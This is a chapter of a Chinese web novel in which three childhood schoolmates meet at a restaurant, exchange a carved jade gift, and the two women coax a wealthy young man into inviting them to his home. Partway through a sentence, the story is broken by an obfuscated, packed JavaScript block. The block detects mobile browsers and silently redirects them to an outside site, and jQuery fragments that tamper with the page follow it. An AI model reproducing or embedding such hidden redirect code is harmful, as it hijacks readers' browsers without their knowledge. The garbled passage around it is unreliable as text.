41. 寅郎印2

作品:《这不是我最好的命

    午时,聚星楼。


    “没想到,青青一来,这富善堂百年老字号倒是换了名儿了,小时那会儿竟未曾留意你是那范家人,范老先生可是我一直想拜会的,没成想却是你家大人!”那四楼的雅间中,冰块堆在一旁,赵珏拿着扇子正卖力将风朝身后二人扇去。


    今天虽是好日子,但也真真热的很。


    “怎么样,深藏不露吧?”刘溪鸰笑道。


    “拜服拜服。怎么办到的?这一夜之间便叫旧匾换新颜了!”


    张青青便将那换匾一事草草讲过,赵珏听完,打心眼儿里佩服:“范老真是,高风亮节!医者仁心!这年头,扎扎实实埋头钻研方子的人真的太少了!”名流都在意名,可像范老这样一心钻研又只图名的人倒是不多了,如今的人谁个不是既要这个又要那个呢?


    “赵公子才是真人不露相,不,真人不露富!”你瞧,相互吹捧张少堂主也是颇有心得。


    这四楼的雅间好处就是清净又宽敞,想必赵珏借了那老板大笔银钱才能回回都来此处。这不,三人落了座吹吹冰块风,热气便散了去,赵大公子便带着二人品赏这楼中的字画,俨然主家模样。


    说到字画,几人又想起了儿时的旧事。


    赵珏一笑:“我记得当时,整个书院怕是就你了,能把咱们好脾气的许老夫子气得吹胡子瞪眼。”


    刘溪鸰不服气:“嚯,你怎么不说他把我骂哭了?”


    “有吗?他还会骂人?”


    张青青道:“怎么不会,那回夫子说她把隶书混着正楷练,倒反天罡,气得暴跳如雷叫她滚回家,我在那那么久,都没见过许老儿发这么大的火!吓得半天不敢动。”


    “是啊,后来还是有德教习看我哭得可怜,拉我出去哄呢。”


    赵珏:“竟有这种事?我坐你旁边我怎么都不记得?”


    “那天你跑了,你说你妈找你有事!说起来,你小子三天两头的逃课迟到。要不是我,你就完蛋了!整日里都是谁给你背的锅?嗯?”刘溪鸰瞪着他,戳戳他的肩膀,“是谁为了给你把风,让你妈整日里横竖看我不顺眼?你还不好好谢我!”


    赵珏只得作了长揖拉长了调:“谢刘女侠搭救之恩,不然赵某的小命就得丢在了七八年前!”


    张青青不禁叹道:“转眼都七八年了,真快!没想到咱们居然在这儿见上了!”


    此时,赵珏朝她使了个眼色,刘溪鸰神秘一笑:“青青,今天我有个大礼要送你!赵公子,劳驾!”


    赵珏拍拍手,不一会那守在楼梯口的小二便端着个木制锦盒进来了。打开盒子,珠光盈盈的缎布中,卧着一只停在荷叶上的碧玉蜻蜓。那蜻蜓栩栩如生,四片翅膀纹理清晰,通身线条润泽顺畅,触角灵动可爱,在烛火下散发出光华,仿佛随着那荷叶下的水波轻轻浮动。


    张青青一瞧便喜欢上了:“呀,真好看,丸子破费了!这手法这功夫,得花不少钱呢吧?”


    刘溪鸰一听便垮了脸,狠狠剜了赵珏一眼,后者却绷着笑意作一脸无辜状。她咽了咽口水,那句“我刻的”便硬是说不出口了。


    “好看吗?”赵珏问。


    “好看啊!是丸子刻的吗?”张青青连连点头,咕哝道,“你什么时候偷师学的,不告诉我!明知道我喜欢!也不说在哪学的!”


    “那不是,要给你个惊喜吗……”刘溪鸰有些心虚。


    赵珏瞧着二人挤眉弄眼,便道:“吃饭吧!青青喜欢就好。”


    张青青仍然抱着那蜻蜓不撒手,又狐疑道:“阿鸰,这真的是你刻的?真的吗?”


    再三追问下,刘溪鸰只好垂头:“行吧!我刻了一半,赵大公子刻了一半。”


    青青一笑:“我说呢,这不像是你会的东西,你这借花献佛弄的!忒没诚意。”


    刘溪鸰狡辩:“可是我买玉了!他刻起来容易的很,又没费什么功夫,是不是?”


    赵珏扇子一摇,笑道:“喏,这可不是我说的,你自己说的吧?”


    刘溪鸰推他一把:“谁让你刻那么好的,我是要送人,又不是要卖钱!”她一脸恼羞成怒。


    “行,行,是我的不是!”赵珏无奈一笑。


    张青青笑道:“你瞧,人赵公子这家不白当,手法流畅的很,这若是拿去市面上卖,可不止十五两,怪不得人赵家能做下这么大的家业,你看,人当家的什么都会,我说你这从小到大身后怎么那么多跟班的,闹了半天还是个全才!有这等志趣,赵公子眼中的世间应当与我们不同吧!”眼波流转间,又数落起刘溪鸰来,“你啊,得了便宜就莫要卖乖了!”


    赵珏一听,面上淡笑不改,心中却自有一丝得意和感触。要知道他会的这些玩意,在有些的人眼中,那就是奇淫巧计不干正事,说得难听的话,那叫净会些没用的。


    难得啊,张青青来京不过数日,二人见面次数也不算多,偶尔在诗会茶会上见见,三人这么聊天倒是头一回。没想到,这一聊,聊出半个知己来了。


    刘溪鸰哼道:“我就知道见了他,你对我就没个好话!”又瞪着赵珏,“你既然这么会,那你也给我刻一个!你上回去那什么楼,你还答应给我一只鸟呢!”


    赵珏道:“今儿可是寿星才有,你不是冬月里头生的吗?日子都过了,怎恁的赖皮?”


    “不管。你不是三天就弄好了吗?我的鸰鸟不比蜻蜓伏波简单吗!你说,是不是偷摸喜欢我们青青!嗯?我跟你说我们青青那可是有……”


    “胡说八道!”赵珏拧了眉,又瞥了眼张青青,心道这丫头怎么嘴上没个把门的,看见个女的就给他扯红线。


    张青青不以为意:“赵公子的雕工这样厉害,一只鸟不在话下。也别小气呀!”


    “就是,再花三天给我刻一个嘛!三天之后不是正好有游湖嘛,你到时候带给我。”


    赵珏直摇头:“三天不成。说来怕你们笑话,莫看这蜻蜓做得还成,那都是我师傅在旁边掌眼的,这几日师傅又不在家,我又没那眼色,一刀下去保不齐就毁了。”


    “嚯,什么师傅这么厉害?”


    刘溪鸰道:“这你就不知道了吧!赵公子那可不止是个财主,还是个名流,师傅可多了!京城大半的玉器石材古董商号,都有他赵家师傅的监工哦。”


    张青青愣了愣,“这么说,我倒是当真好奇你这位师傅了,能否拜会一下?”可见她是真的爱这篆刻之术。


    怎料他继续摇头:“我这师傅性子古怪的很,他不见客。整日里神出鬼没的,里不是去这看虫子,就是去那看风。我近来倒是少见他!”


    张青青想了想,也并未强人所难,只是叹道:“看来大师都这模样!当年汪子伦汪先生也在我家小住过一段时候,整日关在那院中不见人,我娘去送个饭还得挑时候,说是怕扰了他作画的清净。可惜了!你的都这样精致,你那师傅的手艺得多出神入化!”


    刘溪鸰在一旁附和道:“你那汪子伦算什么,赵公子那宅子里头怕是都摆了一满墙!我去看了他那前院,里头摆着件紫檀小象打架的浮雕,也是可爱极,是你的大作不是?”


    赵珏恭维道:“汪大师的作品我虽没福气见着,但想


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12896691|133833||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来也是不差的,丸子说的那群象图还是我师傅所作,我学艺不精,什么都乐意沾一些,还未曾练得这样的本事!”


    刘溪鸰适时一笑:“是了,说来你那后头院子里我也未曾看过,想必更多宝贝!”


    赵大公子笑而不答。


    张青青奇道:“是吗?不如改日咱们去你家瞧瞧?”


    “对啊,我说了好几次他都不带我去看!肯定是金屋藏娇来着!”


    “啧,别胡说。不是我不带,是我那院子里各色料子堆得乱糟糟,师傅们也不乐得我府中人帮着翻捡,说是收好了反倒寻不着东西了。我怎好意思带你们去瞧?”


    “无妨,越是技艺入神的人,越是厌恶循规蹈矩的约束,巴不得啊,屋子都堆满他的东西。当年汪大师住我家三个月,也这样!”她一摊手,倒是一副颇为苦恼的模样,“后来他回了老家住了些日子,他那间房啊,我姥爷硬是忍了忍没给他收拾。外客要来,只得给瞧瞧现成的大作,可不敢带去那院中!”


    一番寒暄下来,赵珏终是在张青青这处寻着了些新鲜劲儿,眼瞧着这协宗堂少堂主果真不像刘溪鸰那样没什么见识,便也不卖什么关子了。略一思索,他便道:“不过这几日师傅横竖不在,那就等凉快的时候,邀你二人过寒舍一叙!”


    “当真?”


    “当然。”


    于是茶饱饭足后,几人便各回各家。因着上回挨了打,刘溪鸰可再不敢叫赵珏送他,便和张青青一同乘了范府的车回家。


    马车一颠一颠,刘溪鸰皱着眉斜着眼:“青青,真有汪子伦这个人?这句咱之前没对过呀。”


    张青青笑道:“当然没有!”


    “你可真敢胡说啊!”刘溪鸰哗然。


    “我想着他若是追问,我便说是那王希孟的传人,天下画作多是层次不齐的,横竖也无从考证。总归是个话头!不能叫他看扁了咱!”


    “哗!结果他真的没问,还是你胆子大!”


    “我猜他是不会问的。”张青青自得一笑。


    “你怎地知道?”


    小堂主神秘道:“这种公子哥儿都一个模样,我跟我姥爷在外头跑的时候见多了!”


    “嘿嘿,还得是你,还得是你。要说,这少堂主的名头当真好用!”


    得意完了,却是累极了。为了去那赵府,二人可谓是费尽心机。


    张青青面上一垮,倒在她腿上叫嚷着:“啊,累死了,做戏怎么如此难!你就不能直说你要去?”


    刘溪鸰道:“我说了啊,可他只带我去前院啊,这不就好比人跟人的关系嘛,没到那层,他怎会答应我?”


    若要让人为自己所用,须依之见识,观之内心,品其秉性。而欲让赵珏首肯,一是得叫他瞧见二人有可取之处,便是不会看低了她们,张青青这少堂主的身份便有了用处。二则呢,还要让他萌生男子的自得自大自恋之意,二女一个喜雕刻,一个学雕刻,一个志趣相投,一个满眼崇拜。


    这迷魂汤一灌下去,何愁他不松口?


    可见唐祁说的不错,这丫头的孙子兵法学的不算差。


    “他那府里有什么宝贝,你非要去看?”


    刘溪鸰抿了唇,羞涩一笑:“害,我这不就是好奇嘛。好容易来一趟京城,见一面,搞不好下回见面得下辈子。他越不让我看,我偏要看!”


    “你啊,花痴病一犯就晕头转向,你以为他是天上的仙不成?醒醒吧!眼睛恨不得长人家身上。”


    有了这一层铺垫,六月下,刘张二人便顺顺当当依着约去了赵珏的豪宅。